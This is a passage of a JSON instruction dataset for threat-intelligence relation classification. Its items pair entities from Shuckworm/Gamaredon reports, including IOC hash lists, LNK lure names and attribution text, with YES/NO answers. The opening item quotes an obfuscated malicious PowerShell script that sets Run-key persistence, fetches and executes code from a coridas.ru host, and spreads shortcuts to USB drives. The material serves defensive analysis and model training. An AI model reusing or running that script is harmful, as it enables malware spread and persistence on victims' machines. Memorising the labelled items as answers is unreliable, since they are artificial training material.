-nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp Out-sTRing) poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nservice.docx.lnk\n### Target Entity: mobilization.rtf.lnk\n### Text Passage:\n**LNK file names**\n* account.rtf.lnk\n* account_card.rtf.lnk\n* application.rtf.lnk\n* bank_acc\u043eunt.rtf.lnk\n* blank_cap.rtf.lnk\n* business trip.rtf.lnk\n* compromising_evidence.rtf.lnk\n* conduct.rtf.lnk\n* cuprovod.rtf.lnk\n* do_not_delete.rtf.lnk\n* dsk.rtf.lnk\n* encouragement.rtf.lnk\n* form_new.rtf.lnk\n* instructions.rtf.lnk\n* journey.mdb\n* letter to.rtf.lnk\n* login_password.docx.lnk\n* login_password.rtf.lnk\n* mobilization.rtf.lnk\n* my_documents.rtf.lnk\n* my_photos.rtf.lnk\n* not_delete.rtf.lnk\n* on_account.rtf.lnk\n* order.rtf.lnk\n* petition.rtf.lnk\n* porn_video.rtf.lnk\n* pornography.rtf.lnk\n* pornophoto.rtf.lnk\n* proceedings.rtf.lnk\n* project_sheet.rtf.lnk\n* report.docx.lnk\n* report.rtf.lnk\n* report_note.rtf.lnk\n* request.rtf.lnk\n* resolution.rtf.lnk\n* secret.rtf.lnk\n* secretly.rtf.lnk\n* service.docx.lnk\n* service.rtf.lnk\n* sources.rtf.lnk\n* support.rtf.lnk\n* weapons_list.rtf.lnk\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nf7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n### Target Entity: Malicious documents\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n### Target Entity: Malicious documents\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nc62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n### Target Entity: Malicious documents\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nacc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n### Target Entity: Malicious documents\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nc6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n### Target Entity: Malicious documents\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n### Target Entity: Malicious documents\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n### Target Entity: Malicious documents\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n### Target Entity: USB propagation scripts\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n### Target Entity: USB propagation scripts\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ndbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n### Target Entity: USB propagation scripts\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\na615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n### Target Entity: USB propagation scripts\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n### Target Entity: USB propagation scripts\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n### Target Entity: LNK files\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ndbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n### Target Entity: LNK files\n### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGamaredon\n### Target Entity: FSB\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Ukraine\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Russia\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading 